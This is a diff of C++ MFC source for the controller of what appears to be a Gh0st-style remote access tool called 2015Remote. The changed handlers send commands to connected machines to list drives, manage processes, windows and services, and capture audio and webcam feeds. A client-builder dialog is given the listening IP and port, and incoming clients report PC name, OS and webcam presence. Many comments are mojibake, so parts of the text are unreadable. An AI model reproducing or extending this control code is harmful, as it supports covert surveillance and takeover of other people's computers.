m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD> m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD>
m_Nid.uID = IDR_MAINFRAME; //icon ID m_Nid.uID = IDR_MAINFRAME; //icon ID
@@ -317,8 +308,6 @@ VOID CMy2015RemoteDlg::InitControl()
} }
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT); m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
SetTimer(0,3000,NULL); // <20><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD>
} }
@@ -352,17 +341,10 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg) VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
{ {
CString strIsOK,strTime; CTime Timer = CTime::GetCurrentTime();
CTime Timer =CTime::GetCurrentTime(); //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>CTime <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> t ʹ<><CAB9><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>GetCurrentTime() <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SDK<44><4B><EFBFBD><EFBFBD> CString strTime= Timer.Format("%H:%M:%S");
strTime= Timer.Format("%H:%M:%S"); CString strIsOK= bOk ? "ִ<EFBFBD>гɹ<EFBFBD>" : "ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
if (bOk)
{
strIsOK="ִ<EFBFBD>гɹ<EFBFBD>";
}
else
{
strIsOK="ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
}
m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CList_Message.SetItemText(0,1,strTime); m_CList_Message.SetItemText(0,1,strTime);
m_CList_Message.SetItemText(0,2,strMsg); m_CList_Message.SetItemText(0,2,strMsg);
@@ -419,7 +401,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
ListenPort(); ListenPort();
#if !SHOW_NOTIFY #if !INDEPENDENT
ShowWindow(SW_SHOW); ShowWindow(SW_SHOW);
#endif #endif
@@ -433,7 +415,7 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
CAboutDlg dlgAbout; CAboutDlg dlgAbout;
dlgAbout.DoModal(); dlgAbout.DoModal();
} }
#if !SHOW_NOTIFY #if !INDEPENDENT
else if(nID == SC_CLOSE || nID == SC_MINIMIZE) else if(nID == SC_CLOSE || nID == SC_MINIMIZE)
{ {
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
@@ -548,30 +530,12 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
switch(nIDEvent)
{
case 0:
{
break;
}
case 1:
{
break;
}
}
} }
void CMy2015RemoteDlg::OnClose() void CMy2015RemoteDlg::OnClose()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ #if INDEPENDENT
KillTimer(0);
#if SHOW_NOTIFY
Shell_NotifyIcon(NIM_DELETE, &m_Nid); Shell_NotifyIcon(NIM_DELETE, &m_Nid);
#endif #endif
@@ -665,15 +629,13 @@ void CMy2015RemoteDlg::OnOnlineDelete()
BYTE bToken = COMMAND_BYE; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM BYTE bToken = COMMAND_BYE; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
CString strIP;
int iCount = m_CList_Online.GetSelectedCount(); int iCount = m_CList_Online.GetSelectedCount();
int i = 0;
for (i=0;i<iCount;++i) for (int i=0;i<iCount;++i)
{ {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP); CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
m_CList_Online.DeleteItem(iItem); m_CList_Online.DeleteItem(iItem);
strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"; strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
ShowMessage(true,strIP); ShowMessage(true,strIP);
@@ -693,8 +655,6 @@ VOID CMy2015RemoteDlg::OnOnlineProcessManager()
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineWindowManager() VOID CMy2015RemoteDlg::OnOnlineWindowManager()
{ {
BYTE bToken = COMMAND_WSLIST; BYTE bToken = COMMAND_WSLIST;
@@ -710,26 +670,30 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
VOID CMy2015RemoteDlg::OnOnlineFileManager() VOID CMy2015RemoteDlg::OnOnlineFileManager()
{ {
BYTE bToken = COMMAND_LIST_DRIVE; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> #if INDEPENDENT
BYTE bToken = COMMAND_LIST_DRIVE;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
#else
if(m_CList_Online.GetFirstSelectedItemPosition())
ShowMessage(FALSE, "<EFBFBD>˹<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͣʹ<EFBFBD><EFBFBD>");
#endif
} }
VOID CMy2015RemoteDlg::OnOnlineAudioManager() VOID CMy2015RemoteDlg::OnOnlineAudioManager()
{ {
BYTE bToken = COMMAND_AUDIO; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BYTE bToken = COMMAND_AUDIO;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineVideoManager() VOID CMy2015RemoteDlg::OnOnlineVideoManager()
{ {
BYTE bToken = COMMAND_WEBCAM; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BYTE bToken = COMMAND_WEBCAM;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineServerManager() VOID CMy2015RemoteDlg::OnOnlineServerManager()
{ {
BYTE bToken = COMMAND_SERVICES; //<2F><>ֵһ<D6B5><D2BB><EFBFBD><EFBFBD> Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COMMAND_SYSTEM BYTE bToken = COMMAND_SERVICES;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
@@ -743,20 +707,24 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuildDlg Dlg; CBuildDlg Dlg;
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
CString Port;
Port.Format("%d", ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"));
Dlg.m_strPort = Port;
Dlg.DoModal(); Dlg.DoModal();
} }
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
{ {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2 POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while(Pos) while(Pos)
{ {
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀ<EFBFBD><C4BF>ȡ<EFBFBD><C8A1>ClientContext<78><EFBFBD><E1B9B9> CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD> //<2F>鿴ClientContext<78><EFBFBD><E1B9B9> // <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD>
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength); //Cleint Context m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
} }
} }
@@ -769,15 +737,12 @@ VOID CMy2015RemoteDlg::OnAbout()
//<2F><><EFBFBD><EFBFBD>Menu //<2F><><EFBFBD><EFBFBD>Menu
void CMy2015RemoteDlg::OnNotifyShow() void CMy2015RemoteDlg::OnNotifyShow()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ShowWindow(SW_SHOW); ShowWindow(SW_SHOW);
} }
void CMy2015RemoteDlg::OnNotifyExit() void CMy2015RemoteDlg::OnNotifyExit()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendMessage(WM_CLOSE); SendMessage(WM_CLOSE);
} }
@@ -799,9 +764,9 @@ void CMy2015RemoteDlg::OnMainExit()
VOID CMy2015RemoteDlg::ListenPort() VOID CMy2015RemoteDlg::ListenPort()
{ {
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD> //<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (nPort<=0 || nPort>65535) if (nPort<=0 || nPort>65535)
nPort = 6543; nPort = 6543;
@@ -1005,24 +970,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
strPCName = LoginInfor->szPCName; strPCName = LoginInfor->szPCName;
switch (LoginInfor->OsVerInfoEx.dwPlatformId) //<2F><EFBFBD><E6B1BE>Ϣ
{ strOS = LoginInfor->OsVerInfoEx;
case VER_PLATFORM_WIN32_NT:
if (LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 )
strOS = "WindowsNT";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "Windows2000";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
strOS = "WindowsXP";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
strOS = "Windows2003";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "WindowsVista";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
strOS = "Windows7";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
strOS = "Windows8";
}
//CPU //CPU
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz); strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);

View File

@@ -9,16 +9,16 @@
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
// <20>Ƿ<EFBFBD><C7B7><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
#define SHOW_NOTIFY 1 #define INDEPENDENT 1
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
typedef struct _LOGIN_INFOR typedef struct _LOGIN_INFOR
{ {
BYTE bToken; // = 1 //<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ BYTE bToken; // ȡ1<EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20><EFBFBD><E6B1BE>Ϣ
DWORD dwCPUMHz; // CPU<50><55>Ƶ DWORD dwCPUMHz; // CPU<50><55>Ƶ
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
@@ -70,7 +70,7 @@ public:
CStatusBar m_StatusBar; //״̬<D7B4><CCAC> CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
CTrueColorToolBar m_ToolBar; CTrueColorToolBar m_ToolBar;
#if SHOW_NOTIFY #if INDEPENDENT
NOTIFYICONDATA m_Nid; NOTIFYICONDATA m_Nid;
#endif #endif
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;

View File

@@ -394,5 +394,5 @@ void CSystemDlg::OnWlistMin()
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> }
} }

View File

@@ -54,7 +54,7 @@ BOOL CTalkDlg::OnInitDialog()
void CTalkDlg::OnBnClickedButtonTalk() void CTalkDlg::OnBnClickedButtonTalk()
{ {
int iLength = m_EditTalk.GetWindowTextLength(); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> int iLength = m_EditTalk.GetWindowTextLength();
if (!iLength) if (!iLength)
{ {
@@ -62,14 +62,14 @@ void CTalkDlg::OnBnClickedButtonTalk()
} }
CString strData; CString strData;
m_EditTalk.GetWindowText(strData); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_EditTalk.GetWindowText(strData);
char szBuffer[4096] = {0}; char szBuffer[4096] = {0};
strcpy(szBuffer,strData.GetBuffer(0)); strcpy(szBuffer,strData.GetBuffer(0));
m_EditTalk.SetWindowText(NULL); //EditBox <20>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_EditTalk.SetWindowText(NULL);
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//<2F><><EFBFBD>Լ<EFBFBD><D4BC>ڴ<EFBFBD><DAB4>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD> m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
} }

View File

@@ -116,7 +116,7 @@ CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *Cont
m_ContextObject = ContextObject; m_ContextObject = ContextObject;
m_iocpServer = IOCPServer; m_iocpServer = IOCPServer;
m_BitmapInfor_Full = NULL; m_BitmapInfor_Full = NULL;
m_pVideoCodec = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> <20>ҿ<EFBFBD> m_pVideoCodec = NULL;
sockaddr_in ClientAddress; sockaddr_in ClientAddress;
memset(&ClientAddress, 0, sizeof(ClientAddress)); memset(&ClientAddress, 0, sizeof(ClientAddress));
int iClientAddressLength = sizeof(ClientAddress); int iClientAddressLength = sizeof(ClientAddress);

View File

@@ -31,6 +31,20 @@ BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data)
return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath); return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath);
} }
CString iniFile::GetStr(CString MainKey, CString SubKey, CString def)
{
char buf[_MAX_PATH];
::GetPrivateProfileString(MainKey, SubKey, def, buf, sizeof(buf), m_IniFilePath);
return buf;
}
BOOL iniFile::SetStr(CString MainKey, CString SubKey, CString Data)
{
return ::WritePrivateProfileString(MainKey, SubKey, Data, m_IniFilePath);
}
iniFile::~iniFile(void) iniFile::~iniFile(void)
{ {
} }

View File

@@ -6,6 +6,8 @@ public:
BOOL ContructIniFile(); BOOL ContructIniFile();
int GetInt(CString MainKey,CString SubKey); int GetInt(CString MainKey,CString SubKey);
BOOL SetInt(CString MainKey,CString SubKey,int Data); BOOL SetInt(CString MainKey,CString SubKey,int Data);
CString GetStr(CString MainKey,CString SubKey, CString def);
BOOL SetStr(CString MainKey,CString SubKey,CString Data);
CString m_IniFilePath; CString m_IniFilePath;
iniFile(void); iniFile(void);
~iniFile(void); ~iniFile(void);